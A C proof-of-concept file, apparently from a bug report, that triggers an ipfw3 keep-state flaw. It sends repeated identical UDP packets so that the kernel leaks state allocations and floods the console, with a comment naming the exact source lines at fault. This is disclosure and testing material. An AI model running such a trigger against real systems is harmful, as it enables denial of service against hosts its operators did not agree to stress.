DF-3434 / state_oops.c
/* * DF-3434 - ipfw3 check_keep_state() leaks a state per duplicate packet on * limit-type keep-state rules and kprintf("oops")-floods the * console (ip_fw3_state.c:301-330). * * With a rule like * ipfw3 add allow udp from any to any keep-state limit src-port 100 * check_keep_state() runs the arg3 != 0 branch: the RB_FIND() de-dup check * (cmd->arg3 == 0, ip_fw3_state.c:296-300) is SKIPPED, so every packet of an * already-tracked flow re-allocates a state and RB_INSERT() returns the * existing node (non-NULL). The code only does kprintf("oops\n") at * ip_fw3_state.c:327-329 and NEVER kfrees the fresh allocation -> one * LEN_FW3_STATE (64B bucket) leak per packet plus a console kprintf per * packet (serial-console log-flood / console-lock amplification). * * The leak per tree is bounded by the (never-decremented, DF-0632) * *the_count gate, but the kprintf is once per packet, unbounded. * * This trigger: send N identical UDP packets (same 5-tuple) from a bound * unprivileged socket to 127.0.0.1 discard. Run as an unprivileged user * AFTER root installed the rule (setup.sh). */ #include <sys/socket.h> #include <netinet/in.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv) { struct sockaddr_in to; char buf[16]; int s, i, n = argc > 1 ? atoi(argv[1]) : 20; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } memset(&to, 0, sizeof(to)); to.sin_family = AF_INET; to.sin_port = htons(9); /* discard */ to.sin_addr.s_addr = htonl(0x7f000001); /* fixed local port => identical 5-tuple on every send */ { struct sockaddr_in me; memset(&me, 0, sizeof(me)); me.sin_family = AF_INET; me.sin_port = htons(44444); me.sin_addr.s_addr = htonl(0x7f000001); if (bind(s, (struct sockaddr *)&me, sizeof(me)) < 0) perror("bind (continuing)"); } memset(buf, 'A', sizeof(buf)); for (i = 0; i < n; i++) { if (sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&to, sizeof(to)) < 0) perror("sendto"); usleep(20000); /* let the console kprintf drain */ } printf("sent %d identical udp packets\n", n); return 0; } |